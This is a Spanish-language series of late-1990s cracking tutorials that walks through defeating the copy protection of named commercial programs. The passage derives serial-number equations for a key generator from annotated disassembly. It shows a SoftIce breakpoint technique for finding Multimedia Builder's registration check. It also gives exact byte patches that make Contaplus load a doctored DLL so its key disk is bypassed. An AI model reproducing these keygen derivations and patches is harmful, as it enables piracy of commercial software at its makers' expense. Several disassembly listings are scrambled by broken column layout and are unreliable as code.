Fijaos en el salto en :40AA76. Si saltamos caemos en la ventana de mensaje y evitamos acceder a NOMBRE,COMPAÑÍA y NÚMERO DE SERIE. El salto está controlado por :40AA6C call sub_40CD10 .Que interesante, una rutina que controla la ventana de mensaje de error, ¿a qué nos suena ésto?. BINGO, estamos ante la rutina de verificación. Échemósle un vistazo y comentémosla. ;Desensamblado con el IDA ;p(0) indica el carácter 0 de la password. Recordad, empiezo a contar los caracteres desde 0. 0040CD10 sub_40CD10 sub_404600+98_p 0040CD10 0040CD10 0040CD10 var_24

proc near

; CODE XREF: ; sub_40AA20+4C_p

= byte ptr -24h ; 1 variable local.

0040CD10 var_20 = word ptr -20h ; 2 variable local. 0040CD10 var_1E = byte ptr -1Eh ; 3 variable local. 0040CD10 var_1B = byte ptr -1Bh ; 4 variable local. 0040CD10 arg_0 = dword ptr 4 ; Argumento de la función que no es más que la dirección de nuestra password. 0040CD10 0040CD10 sub esp, 24h; Ajusta la pila para reservar espacio para las varibles locales. 0040CD13 push ebx; Guarda algunos registros. 0040CD14 push esi 0040CD15 mov esi, [esp+2Ch+arg_0] ; esi= dirección de nuestra password. 0040CD19 push edi 0040CD1A movsx eax, byte ptr [esi] ; eax=p(0) 0040CD1D push eax 0040CD1E call _toupper ; Pasamos a mayúsculas p(0). 0040CD23 add esp, 4 0040CD26 cmp eax, 52h ; ¿ES P(0) = R? 0040CD29 jnz loc_40CE7F ; Salta a flag de error si p(0) no es R. 0040CD2F movsx eax, byte ptr [esi+1] ; eax=p(1) 0040CD33 push eax 0040CD34 call _toupper ; Pasamos a mayúsculas p(1). 0040CD39 add esp, 4 0040CD3C cmp eax, 56h ; ¿ES P(1) = V? 0040CD3F jnz loc_40CE7F ; Salta a flag de error si p(1) no es V. 0040CD45 cmp byte ptr [esi+7], 2Dh ; ¿ES P(7) = '-'? 0040CD49 jnz loc_40CE7F ; Salta a flag de error si p(7) no es '-'. 0040CD4F push esi 0040CD50 call ds:lstrlenA ; Calcula el tamaño de la password. 0040CD56 cmp eax, 0Fh ; ¿Es el tamaño 15? 0040CD59 jnz loc_40CE7F ; Salta a flag de error si el tamaño no es 15 0040CD5F mov edi, 2 ; Segundo carácter. 0040CD64 0040CD64 loc_40CD64: ; CODE XREF: sub_40CD10+6D_j ;Bucle p(2)...p(6) 0040CD64 movsx 0040CD68 push 0040CD69 call p(2)? 0040CD6E add 0040CD71 test 0040CD73 jz error si p(2) no es número. 0040CD79 inc siguiente carácter. 0040CD7A cmp

para comprobar que son números eax, byte ptr [edi+esi]; eax=p(2) eax _isdigit ; ¿es un número esp, 4 eax, eax loc_40CE64

; Salta con flag de

edi

; Apuntamos al

edi, 7

; ¿Hemos llegado a

p(7)? 0040CD7D llegado a p(7). 0040CD7F

jl

short loc_40CD64

; Salta si no hemos

mov

edi, 8

; Octavo carácter.

;Bucle para comprobar que son números p(8)...p(14) 0040CD84 0040CD84 loc_40CD84: ; CODE XREF: sub_40CD10+8D_j 0040CD84 movsx eax, byte ptr [edi+esi];; eax=p(8) 0040CD88 push eax 0040CD89 call _isdigit ;¿es un número p(8)? 0040CD8E add esp, 4 0040CD91 test eax, eax 0040CD93 jz loc_40CE6D ; Salta con flag de error si p(8) no es número. 0040CD99 inc edi ; Apuntamos al siguiente carácter. 0040CD9A cmp edi, 0Fh ; ¿Hemos llegado a p(15)? 0040CD9D jl short loc_40CD84; Salta si no hemos llegado a p(15). 0040CD9F mov ax, [esi+2] ; ax=p(2)p(3) 0040CDA3 mov [esp+30h+var_20], ax 0040CDA8 lea eax, [esp+30h+var_20] 0040CDAC mov [esp+30h+var_1E], 0 0040CDB1 push eax 0040CDB2 call _atoi ;Pasa p(2)p(3) a número. 0040CDB7 mov cx, [esi+5] ;cx=p(5)p(6) 0040CDBB add esp, 4 0040CDBE mov [esp+30h+var_20], cx 0040CDC3 sub al, 13h ; al=p(2)p(3)-19 0040CDC5 lea ecx, [esp+30h+var_20] 0040CDC9 mov [esp+30h+var_24], al 0040CDCD mov [esp+30h+var_1E], 0 0040CDD2 push ecx 0040CDD3 call _atoi ;Pasa p(5)p(6) a número. 0040CDD8 lea edx, [esp+34h+var_20]; 0040CDDC add esp, 4 0040CDDF lea ebx, [eax-25h] ;ebx=p(5)p(6)-37 0040CDE2 lea ecx, [esi+0Ah] ;ecx=dirección de p(10) 0040CDE5 push edx 0040CDE6 mov eax, [ecx] ;ebx=p(10)p(11)p(12)p(13) 0040CDE8 mov [edx], eax 0040CDEA mov cl, [ecx+4] ;cl=p(14) 0040CDED mov [edx+4], cl 0040CDF0 mov [esp+34h+var_1B], 0 0040CDF5 call _atoi ;Pasa p(10)p(11)p(12)p(13)p(14) a número. 0040CDFA add esp, 4 0040CDFD mov edi, eax 0040CDFF xor di, 5468h ;di=p(10)p(11)p(12)p(13)p(14) XOR 21508 0040CE04 mov ax, [esi+8] ;ax=p(8)p(9) 0040CE08 mov [esp+30h+var_20], ax 0040CE0D lea eax, [esp+30h+var_20]

0040CE11 mov [esp+30h+var_1E], 0 0040CE16 movzx edi, di 0040CE19 push eax 0040CE1A call _atoi ;Pasa p(8)p(9) a número. 0040CE1F mov byte ptr [esp+34h+var_20], al 0040CE23 add esp, 4 0040CE26 xor eax, eax 0040CE28 mov ecx, 64h 0040CE2D mov al, bl ;al=p(5)p(6)-37 0040CE2F mov ebx, 0Ah 0040CE34 lea eax, [eax+edi+3]; eax'=(p(5)p(6)37)+(p(10)p(11)p(12)p(13)p(14) XOR 21508) + 3 0040CE38 cdq 0040CE39 idiv ecx ;Divide eax'/100 0040CE3B mov cl, dl ;cl=resto(eax'/100) 0040CE3D xor eax, eax 0040CE3F mov al, [esp+30h+var_24] 0040CE43 lea eax, [eax+edi+3]; eax=(p(2)p(3)19)+(p(10)p(11)p(12)p(13)p(14) XOR 21508) + 3 0040CE47 cdq 0040CE48 idiv ebx ;Divide eax/10 0040CE4A sub dl, [esi+4] ;dl=resto(eax/10)-p(4) 0040CE4D cmp dl, 0D0h ;¿Es resto(eax/10) = p(4)? 0040CE50 jnz short loc_40CE76;Salta a flag de error si resto(eax/10) no es p(4) 0040CE52 cmp byte ptr [esp+30h+var_20], cl;¿Es resto(eax'/100) = p(8)p(9)? 0040CE56 jnz short loc_40CE76;Salta a flag de error si resto(eax'/100) no es p(4) 0040CE58 mov eax, 1 ; Ok todo correcto. Flag de éxito activado. 0040CE5D pop edi 0040CE5E pop esi 0040CE5F pop ebx 0040CE60 add esp, 24h 0040CE63 retn 0040CE64 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ 0040CE64 0040CE64 loc_40CE64: ; CODE XREF: sub_40CD10+63_j 0040CE64 xor eax, eax ; Eres un mal chico.Flag de error activado. 0040CE66 pop edi 0040CE67 pop esi 0040CE68 pop ebx 0040CE69 add esp, 24h 0040CE6C retn 0040CE6D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ 0040CE6D 0040CE6D loc_40CE6D: ; CODE XREF: sub_40CD10+83_j 0040CE6D xor eax, eax ; Eres un mal chico.Flag

de error activado. 0040CE6F pop edi 0040CE70 pop esi 0040CE71 pop ebx 0040CE72 add esp, 24h 0040CE75 retn 0040CE76 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ

Antes de seguir adelante, centremonos en un par de puntos: - ¿Habéis descubierto los números mágicos?, sip los hay son 5468h, 0Ah y 64h. - Como es tradición la rutina checkea en este caso la presencia del carácter '-'. Luego con un poco de paciencia, nuestra búsqueda inicial hubiera tenido sus frutos. - Habéis notado la pésima calidad del código. Uso innecesario de variables, instrucciones inútiles, tamaño del código exagerado. Todo esto es debido a que se programó en alto nivel, seguramente en C. ¿Cómo quieren los programadores proteger su software si es de pésima calidad?. Están directamente vendidos (salvo honrosas excepciones, por supuesto.) - Si andais un poco pegaos de operacones aritméticas y de ensamblador, buscad alguno de los fabulosos cursos de ensamblador que hay en la Web. Resumamos los momentos más interesantes de la rutina de verificación: A)0040CD26 cmp B)0040CD3C cmp C)0040CD45 cmp D)0040CD56 cmp E)0040CD64 ;Bucle F)0040CD84 ;Bucle p(8)...p(14) G)0040CDC3 sub H)0040CDDF lea I)0040CE34 lea 37)+(p(10)p(11)p(12)p(13)p(14)

eax, 52h ; ¿ES P(0) = R? eax, 56h ; ¿ES P(1) = V? byte ptr [esi+7], 2Dh ; ¿ES P(7) = '-'? eax, 0Fh ; ¿Es el tamaño 15? para comprobar que son números p(2)...p(6) para comprobar que son números al, 13h ebx, [eax-25h] eax, [eax+edi+3]

J)0040CE3B mov cl, dl K)0040CE43 lea eax, [eax+edi+3] 19)+(p(10)p(11)p(12)p(13)p(14) L)0040CE4D cmp p(4)? M)0040CE52 cmp resto(eax'/100) = p(8)p(9)?.

dl, 0D0h

; al=p(2)p(3)-19 ; ebx=p(5)p(6)-37 ; eax'=(p(5)p(6)XOR 21508) + 3 ; cl=resto(eax'/100) ; eax=(p(2)p(3)XOR 21508) + 3 ;¿Es resto(eax/10) =

byte ptr [esp+30h+var_20], cl;¿Es

Por A),B),C),D),E) y F) sabemos que la password debe de tener este aspecto: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 R V x x x x x - x x x x x x x x

Donde x es un número del 0 al 9. Despues hay dos bonitas ecuaciones: Por H),I),J) y M) I) p(8)p(9)=resto( (p(5)p(6)-0x25)+(p(10)p(11)p(12)p(13)p(14) XOR 21508) + 3) / 0x64) Por G),K),L) II) p(4)=resto((p(2)p(3)-0x13)+(p(10)p(11)p(12)p(13)p(14) XOR 21508) + 3) / 0x0A)

Pos ya está. Estas son las ecuaciones de la rutina de verificación, ya se puede implementar nuestro propio Generador de Llaves, que no será más que implementar estas dos ecuaciones. Estas dos ecuaciones comprueban que la parte derecha sea igual a la parte izquierda (p(8)p(9) y p(4)). Nuestro Generador calculara la parte derecha y construirá la parte izquierda de forma adecuada. Se podrían simplificar un poco, pero no lo haré pa no complicar el asunto. Un posible Generador en C sería algo así como:

VER CODIGO FUENTE DEL GENERADOR Utilizo números aleatorios (random) para generar un número de serie diferente cada vez que se ejecute e programa. Una última curiosidad, donde creereis que guarda nuestra pass el programa. Si lanzais el La utilidad regmon (analiza todos los accesos al Registro dels Sistema) con el programa, podréis apreciar que se accede a "HKEY_LOCAL_MACHINE\SOFTWARE\Revival\Revival\2.0\Serial" Poco imaginativo, ¿verdad?. Podéis modificar este número para evitar registraos y probad Con nuevas pass. Notas para los lectores. 1.- Los mensajes del tipo "Hazme el crack para ....", "Dime como de crackea....", "Dime donde puedo encontrar..." son automáticamente ignorados. El objetivo de estos artículos es enseñar a crackear no enseñar a ser unos llorones ineptos que sólo saben mendigar. 2.- Sólo responderé a preguntas teóricas sobre cracks, indicando algunas pistas que faciliten la labor. 3.- Narices, escribid artículos sobre los programas que crackeeis. De nada sirve lo que aprendéis si no lo repartís, se os pudre en el cabeza, palabra. 4.- Lamento no haber contestado a ciertos mails interesantes. Desde aquí mis excusas.

5.- Si os ha servido para algo mis artículos, no seáis vagos y mandad un mail indicándomelo. Mr_PinK & WKT ( WHISKEY KON TEKILA ) Esperamos vuestras opiniones, sugerencias y ensayos en [email protected] En breve analizaremos tipos de protecciones mucho más interesantes. Recordad bebed de la fuente, buscad a +ORC en la red.

COMO CRAKEAR POR ESTADO+PORCINO

CAPÍTULO V. COLOR CRACK -Como Crackear Multimedia Builder 3.0Noviembre 1998

Indice INTRODUCCIÓN UN PRIMER VISTAZO PRIMER OSTIAZO ZEN CRACK CRACK EN COLORES CONCLUSIÓN

INTRODUCCIÓN Victima: Multimedia Builder 3.0 Site: www.mediachance.com Herramienta: Nuestro amado Sice y Zen crack. Hoy es un día de Heineiken,Café de de Kenya,Moskovkaya,Guiness,Mahon y mujeres. Bueno, ya estamos de vuelta con un nuevo truco bajo el brazo: "Crack en Color" que lo aplicaremos a nuestro conejillo de indias, el excelente Multimedia Builder. Un programa para crear aplicacniones que incluyen sonido, imagen,video. Se programa al estilovisual de VB . No os perdais el reproductor de CD que viene con el ejemplo.

UN PRIMER VISTAZO Realmente este programador se lo ha currado. Ha cerrado la mayoría de las puertas de entrada a los crackers, por tanto hay que abrir otras como el "Crack en Color". Veamos alguno de sus ingenios del autor: - Existe un número de serie que se introduce desde "Help\About\Register" - Cuando introducimos un número de serie falso no aparece ninguna ventana de error. Por lo que queda descartado el clásico "bpx messageboxexa". - Las cadenas de caracteres importantes las tiene encriptadas, por lo que no podemos buscarlas con el "Search and Replace", lo que impide un crack en 5 minutos.

PRIMER OSTIAZO Desechados los ataques típicos, vamos a entrar por la puerta clásica siguiendo la pista del Serial falso. Metemos un número basura "12121212", Saltamos al sice y ponemos 's 30:00 l ffffffff "12121212"' En cada ocurrecia XX:xx aplicamos 'bpr XX:xx XX:xx+8 rw'. Una vez acabado damos al botón de OK y BOOM, aparecemos en el sice. Unos F12 llegamos a la rutina "GetwindowTextA". Dejamos esta línea de trabajo porque es muy aburrida. Al final conseguimos aislar una rutina en que devuelve 0 si estamos registrados y 1 en otro caso.Podemos falsearla para registrarnos. Y de hecho lo "conseguimos". Nuestro nombre aparece en la ventana de registro. Pero hay una sorpresita. Si ejecutamos Project/Run aparece "unregistered...". ¿Cómo es posible? ¡Pero SI estamos registrados!. La cosa es aún peor, si nos peleamos con el registro y generamos un número de serie válido las cosas no mejorar. ¿Que está pasando aquí? ZEN CRACK Si hemos pasado el algoritmo de registro satisfactoriamente, ¿porqué seguimos sin estar registrados?. Razonemos, la única forma de no estar registrados es que no pasemos alguna verificación. Sabemos que hemos pasado una, luego debe de haber otra verifiación en otra parte del código. Este programador ha pensado un poco. HA SEPARADO LAS COMPROBACIONES del serial.

Y lo que es todavía más interesante, en cada comprobación analiza cosas diferentes. Así, si se pasa completamente una comprobación no se garantiza que se pase el resto. Sabemos ya que por lo menos hay dos comprobaciones (una que pasamos y otra no). Debe existir un nexo de unión entre las comprobaciones: Una variable que guarde el serial que hemos introducido. Pero aquín las variantes son múltiples :la primera comprobación puede encriptar el serial para la segunda, modificar un flag para que siempre resulte falsa la segunda comprobación... La pregunta que se plantea es ¿Cómo localizo la segunda comprobación?. La única pista es el horrible letrero amarillo ".. unregistered ..". Se podrían analizar todas las variables que modifica el primer algoritmo , pero eso es demasiado costoso. Debemos buscar otra forma. La única forma de saber que no hemos pasado las comprobaciones es el letrero amarillo. Es por ahí por donde debemos atacar. El mensaje está encriptado ,luego desechamos esa vía. El letrero parece un Label al estilo de de JAVA o Delphi, por lo que no tiene entidad propia como una ventana. ¿Por donde atacamos? CRACK EN COLORES Centremonos, ¿qué es lo que má llama la atención del letrero? , su color amarillo. Este color debe de asignarse de alguna forma. Además el amarillo parece que es el color de fondo del letreo. Si desensamblamos a nuestro objetivo vemos que utiliza la función setbkcolor. Así pues debemos localizar algo parecido a "setbkcolor(Amarillo)".Pero como se expresa exactamente el color amarillo. Normalmente los colores se forman a partir de la combinación de los llamados "colores básicos" . Lo normal es usar como colores básicos RGB="Rojo Verde y Azul." Nuestro problema es como expresar el amarillo del letrero en función de RGB. Por suerte nuestro amarillo es una simple combinación. Podemos utilizar la paleta de colores de cualquier programa para comprobarlo. En mi caso he usado el Visual Café 2.5 (crackeado por supuesto). Introduciendo Rojo=255,Verde=255,Azul=0 obtenemos el mismo amarillo que el del letrero. Si el color hubiera sido más complejo,capturamos la pantalla con el letrero y la importamos a un editor gráfico como el Photoshop.Seleccionamos un pixel del color amarillo del letreo y vemos sus componentes en términos de Rojo, Verde y Azul. Es posible que exita un program que realize esta función más sencilla. Si lo encontris, por favor notificádmelo.

Asi pues debemos de localizar algo asi como "setbkcolor(255 255 0)". Necesitamos conocer si existen más parámetros para el setbkcolor. Mirando el API tenemos: COLORREF SetBkColor(HDC hdc, // handle of device context COLORREF crColor // background color value ); The COLORREF value is a 32-bit value used to specify an RGB color. When specifying an explicit RGB color, the COLORREF value has the following hexadecimal form: 0x00bbggrr

Nuestro color es un entero y se pasa como segundo parámetro. Dado que los número se almacenan al revés debemos buscar SetBkColor(hdc,0000ffff). Desempolvemos los manuales del Sice, por lo que nos queda bpx setbkcolor if (*(esp+8)==ffff0000) Expliquemos un poco el churro que ha aparecido. bpx setbkcolor indica que se pare cuando se ejecute la rutina setbkcolor Se para cuando (*(esp+8)==00ffff), es decir, cuando el contenido del registro EIP+8 sea 00ffff. Recordemos que los parámteros a las funciones se pasan a través de la pila (ESP=registro stack pointer): Concretamente es ESP+8 porque en se apilan dos palabra de 4 bytes cada uno. Antes de la llamada ESP=000 Llamada ESP=Dirección de retorno. (palabra de 4 bytes) ESP+4=parámetro HDC.(palabra de 4 bytes) ESP+8=segundo parámetro

Aplicando nuestro bpx y pulsando "Proyect/Run" BOOM, aparecemos en el sice, para ver si estamos realmente ante el setbkcolor correcto, cambiemos el color "d esp+8" Y pasamos de "FFFF00" a "FFFFFF" . Obtenemos un bonito color blanco de fondo. Luego hemos pillado la llamada correcta. Un par de f12 después obsevamos :460a15 cmp [ESI+378],43CA Si los valores no son iguales vemos el mensaje de error. Por tanto es este el flag que controla todo. Ya sólo basta ver quien lo inicializa. Pero este es un trabajo conocido por todos que lo dejo como ejercicio. Fijaos como no se utiliza un clásico flag 1,0 sino un valor difícil 0x43CA. Un nuevo síntoma de que el autor ha leido sobre cracks.

CONCLUSIÓN Hemos aprendido una nueva técnica: "Color Crack". Es recomendable que se aplique

cuando el mensaje de "unregistered "no sea una ventana sino una cadena dentro de una ventana. Debemos averiguar el color que se aplica al mensaje y colocar en el Sice: bpx nombreRutina if (*(esp+8)==00BBGGRR) Recordad que los valores de Blue(azul),Green (Verde) , Red (rojo) están hexa. Cuando apararezcamos en el Sice cambiar el color para ver si estamos en la ventana correcta. En tal caso buscar un salto que evite el mesaje. Este técnica siempre es aplicable, pero se recomienda que se utulize cuando existan pocos colores en la ventana y el mensaje esté resaltado del resto (cosa bastante habitual). Una posible generalización de está técina es aplicable al color del tipo de letra (foregroundcolor), el tipo de fuente, (setFont), el aspecto (cursiva ...). Recordad de echar mano de una buena ayuda Api para win32. No olvidemos el esquema de protección tan original de SEPARACIÓN DE COMPROBACIONES que ha implementado el autor. Realmente interesante, si señor. Notas para los lectores. 1.- Los mensajes del tipo "Hazme el crack para ....", "Dime como se crackea....", "Dime donde puedo encontrar..." son automáticamente ignorados. El objetivo de estos artículos es enseñar a crackear no enseñar a ser unos llorones ineptos que sólo saben mendigar. 2.- Sólo responderé a preguntas teóricas sobre cracks, indicando algunas pistas que faciliten la labor. 3.- Narices, escribid artículos sobre los programas que crackeeis. De nada sirve lo que aprendéis si no lo repartís, se os pudre en el cabeza, palabra. 4.- Lamento no haber contestado a ciertos mails interesantes. Desde aquí mis excusas. 5.- Si os ha servido para algo mis artículos, no seáis vagos y mandad un mail indicándomelo. Estado+Porcino Esperamos vuestras opiniones, sugerencias y ensayos en [email protected] En breve analizaremos tipos de protecciones mucho más interesantes.

Recordad bebed de la fuente, buscad a +ORC en la red.

COMO CRACKEAR POR ESTADO+PORCINO

CAPÍTULO VI. DESVIRGANDO EXPEDIENTES X -Como Crackear Contaplus Élite Pyme-

Junio 1999

Indice INTRODUCCIÓN AL ATAQUEEEEEEE PROTECCIONES ESPAÑOLAS PRIMERA APROXIMACION Y PRIMER ENFADO OBJETIVOS SEGUNDA APROXIMACIÓN Y SEGUNDA OSTIA. LAS COSAS SE COMPLICAN LA SOLUCIÓN A LA PELUA CUESTIÓN MODIFICACIÓN DE FICHEROS CREADOS EN TIEMPO DE EJECUCIÓN INTENTO SER UN TIO ELEGANTE, PERO NO ESTÚPIDO CAER EN LA CUENTA OPCION 3 CAÑERA VUELTA A LA PROTECCIÓN ESTÚPIDO VELO ¿ÉXITO?

SOLUCIONES VIABLES HORROR Y ESPANTO EL MISTERIO INSONDABLE EL EXPEDIENTE X DESVIRGADO JUGUETEANDO PD PARA EL PROGRAMADOR

INTRODUCCIÓN Victima: CONTAPLUS ÉLITE PYME Site: www.gruposp.com HERRAMIENTAS: Desensamblador. Por ejemplo w32dasm Editor hexadecimal. Por ejemplo uedit Paciencia y Confianza. Saludos familia. Aprovecho los ratos para escribir algunas cosillas. En esta ocasión acometemos uns joyita con Discos llave,Números de serie,encriptación, descompresión en tiempo de ejecución y misterios insondables. Un dulce para pasar el rato. Llegó a mis manos una petición de crack. Normalmente la desestimo, a menos que la pida un amigo, me interese o favorezca mi entorno de trabajo. Es mejor enseñar a crakear que enseñar a llorar para suplicar. En fin, toda esa filosofía expuesta por +ORC y reescrita por E+P. Son las 8:00 de la mañana y me he pasado toda la noche crakeando. Si señor, hay pocos placeres comparables. Los crackers me entenderán perfectamente de lo que les hablo:-). El peluo maulla desesperao y la gorda duerme a mi lado. A veces la vida te sonríe y no sabes porqué.Aprovéchala antes de que cambie. En este entorno , nada se puede resistir...

AL ATAQUEEEEEEE

Miremos nuestro producto. Se trata de un clásico de la facturación española. Contaplus Pyme Élite Otoño 98 del 1-11-98 Un paquete en formato CD que se compone de: ContaPlus FacturaPlus NominaPlus PersonalPlus Utilidades (Antivirus Norton, Antivirus Mcafee, Sidekick y PC Anywhere) La web la tenemos en www.gruposp.com. Despendolemos un ratico por su web a ver a cuanto tienen el timo. Uhmm 2 millones de ventas y nuestro producto 165.000 pelas, !!! Precio especial !!!! Joer, pos si que, pa una urgencia, vamos. Se merecen que lo crackeen, si señor.

PROTECCIONES ESPAÑOLAS A primera vista, el programa es español y por tanto la protección también. Conociendo los antecedentes de protecciones españolas, estimo que estará roto en 5 minutos. Sólo recuerdo una protección española cojonuda. Era de un catalán y se la había puesto a su programa de rompecabezas. Si sería buena que fue uno de los "coladores"para la +HCU con +ORC y +Fravia(a ver si se recupera pronto, leñe) PRIMERA APROXIMACION Y PRIMER ENFADO Empezamos mal, intentamos instalar el contaplus y nos pide un disquete llave. Joder, ¿no habían pasado al olvido esas protecciones basadas en discos llave?. ¿Es que no aprenden?. Los discos llave fueron desechados porque no eran fiables, se podían cascar en el trayecto de la fábrica al usuario y luego vete a reclamar al maestro armero una vez que has pagado el producto, eso sin contar el tiempo de espera del nuevo disquete, y que el que te manden no esté roto. Para colmo, estos discos se formatean a medida por lo que no se pueden copiar (en general) ni siquiera para sacar una triste copia de seguridad. Como veis, una mierda, y los del CONTAPUS dale que dale. OBJETIVOS Estan claros, cepillarse al CONTAPLUS y obviar el disco llave. Pero conseguiremos bastantes cositas más.

SEGUNDA APROXIMACIÓN Y SEGUNDA OSTIA. LAS COSAS SE COMPLICAN Si intentamos instalar sin disco llave nos aparece una estúpida ventana: "Inserte disco llave, Por favor retire el disco actual y bla,bla,bla" La ventanita tiene pinta de dialogbox, así que nos vamos al SoftIce y ponemos unas bonitas trampas para osos. bpx dialogbox bpx dialogboxparama Lanzamos al niño y el que pica es el bpx dialogboxparama. Con f12 aparece la ventana de error, pulsamos NO y caemos en kernel!alloc. Ostias que feo. F12 antes pa asomar el pescuezo en :10012739 dentro del proceso ~GLC000x. (la x es variable). Ostias, que mierda es esta, ¿dónde está es fichero ese tan raro?. En el directorio del conta no, seguro. ¿Pero entonces dónde?. Si buscamos el ficherito no está en el disco duro. Entonces, ¡por la madre de MITRA!, ¿que coño pasa?. Pensad una posible solución antes de pasar al siguiente párrafo, que os van a salir almorranas cerebrales. LA SOLUCIÓN A LA PELUA CUESTIÓN Pos si, seguro que ya lo habeis acertado :-) El puto fichero se crea en tiempo de ejecución y se borra antes salir. Por eso no aparece en el directorio de instalación ni en el disco duro al finalizar. Pero entonces, segunda e importante cuestión: ¿como mangonearemos si se genera en tiempo de ejecución? Es vital poder toquetear para saltarse la protección. Así pues, relegamos el estudio del para centrarnos en como se puede modificar un fichero que se crea en tiempo de ejecución. MODIFICACIÓN DE FICHEROS CREADOS EN TIEMPO DE EJECUCIÓN Las variantes que se me ocuren de menos a más elegantes son: 1 Entender como se crea el fichero y retocarlo antes de que se cree. 2 Parchearlo en memoria una vez creado - mediante un parche en tiempo de ejecución. - Aplicando ingeniería inversa para localizar y redirigir un trozo de código inútil dentro del ejecutable y que parchee el fichero. 3 Dejar que se cree en memoria pero redirigirlo a un fichero en disco ya retocado.

Recuerdo cierta protección del mismo tipo en el Hotmetal 4.0. antes que los encerraran en la inutilidad del vbox. INTENTO SER UN TIO ELEGANTE, PERO NO ESTÚPIDO Pues eso, intento ser un tio elegante y opto por la primera opción y descubro lo siguiente: * Dentro del fichero instalar.exe del contaplus reside el famoso ~GLC000x. En tiempo de ejecución se lee un trozo del fichero instalar.exe, se marea un poco y se construye el nuevo fichero. El nombre se construye a partir de una cadena constante :~GLC%04x.tmp. Podeis abrir el fichero instalar.exe y cambiar el nombre por algo más decente. Tengo destripado y pasado a C el algoritmo que extrae del fichero instalar.exe los bytes, los marea un poco y los escribe en el ~GLC%04x.tmp. Si quereis más datos del algoritmo mandadme un mail. * Me quedaba la duda de si el autor de la protección había encriptado, comprimido o encriptado/comprimido. La respuesta es sólo comprimido siguiendo un complicado algoritmo que tengo casi analizado. Asi pues sólo queda otra semana para crear un compresor (el descompresor ya lo tengo, está en el propio programa). * Como la cosa se complicaba, deseche esta vía y me fui a la opción 2. Pronto la desistimé porque no sabía cuantos parches tenía que aplicar. Así pués, me fui a la vía 3. Ya sé, ya sé, es la más cutre, pero rula :-)

CAER EN LA CUENTA Concurrida audiencia, por si no os habeis dado cuenta, la protección es muy buena. RESPETAD AL PROGRAMADOR que se ha entretenido en comprimir sus datos y descomprimirlos en tiempo de ejecución. Buen trabajo BBYYMMAARRCCOOSS. Quizás no esté todo perdido dentro del panorama de programadores españoles. Aupa muchachos!!! OPCION 3 CAÑERA Lo primero es pillar una copia chachi del ~GLC%04x.tmp pa poder modificarla tranquilamente y después regirigir el programa para que cargue nuestra dll y no la que ha creado.

Para ello, lanzamos el instalar y aparece la venta de error con "si" y "no" . Nos vamos al explorador de Windows con la teclilla nueva con el logo del windoze (ostias, pero si sirve pa algo y to), o bien lo abrimos antes que el instalar y conmutamos con ALT+TAB. Estamos seguros que el fichero debe de existir porque aún no ha acabado el programa (nos da la opción de continuar si pusamos "si"). Buscamos en el explorador los ficheros que empiezen por ~GLC y bingo, lo tenemos en c:\windows. Con mucho cuidado lo copiamos y lo pegamos en un sitio seguro. Nuestra cena ya está en la red :-=). Para los descuidados como yo, habilitarle la opción de sólo lectura con el botón derecho del ratón y propiedades. Sino lo perderemos cuando lo utilizemos. Recordad quitarle lo de sólo lectura para parchearlo. Do quiera que un fichero se cargue en memoria y se ejecute en tiempo de ejecución este debe ser una dll. Ya sé, ya sé, no tiene extendión dll ni ná, pero no es necesario. Para que un fichero sea considerado dll basta con tener nombre y extensión, y la constante ~GLC%04x.tmp lo cumple. Por tanto, instalar debe cargarlo como librería. Si lo desensamblamos, vemos que usa la función del api KERNEL32.LoadLibraryA y además sólo una vez. :004024F7 740A :004024F9 E87E060000 :004024FE E9BD000000

je 00402503 call 00402B7C jmp 004025C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004024F7(C) | :00402503 8D85E8FEFFFF lea eax, dword ptr [ebp+FFFFFEE8] :00402509 50 push eax; Nombre churro de la librería ~GLC%04x.tmp * Reference To: KERNEL32.LoadLibraryA, Ord:0190h | :0040250A FF1534304000 Call dword ptr [00403034] Ahora hay que aplicar un poco de ingeniería inversa para transformar y que cargue siempre nuestra librería retocada. Os ahorro el proceso mental y obtenemos después de verificar que nunca se pasa por :004024F9 (con un bpx por ejemplo) :004024F7 8D85E8FEFFFF lea eax, dword ptr [ebp+FFFFFEE8];Dirección del nombre de la dll a cargar :004024FD C700432E6100 mov dword ptr [eax], 00612E43 ;Constante .a0 y aprovechamos la c inicial de [eax] nos queda c.a :00402503 8D85E8FEFFFF lea eax, dword ptr [ebp+FFFFFEE8];Guardamos las modificaciones.

:00402509 50

push eax

* Reference To: KERNEL32.LoadLibraryA, Ord:0190h | :0040250A FF1534304000 Call dword ptr [00403034] Con esto siempre se carga la librería "c.a". Así pues renombramos la ~GLC%04x.tmp que habiamos pescado antes como "c.a" . Ya sé, el nombre es un poco cutre, pero si no os gusta retocarlo vosotros. No se os olvide indicar que es de sólo lectura si no lo queréis perder. Si repetimos lo del bpx dialogboxparama aparecemos en el proceso C!text (nuestro fichero c.a). Vamos por el buen camino. To este rollo pa redirigir un puto fichero, la protección debe ser la ostia. Estoy ansioso :-) Resumiendo, buscamos en el instalar.exe 74 0A E8 7E 06 00 00 y lo encontramos en 0x18F7 y cambiamos por 8D 85 E8 FE FF FF C7 00 43 2E 61 00

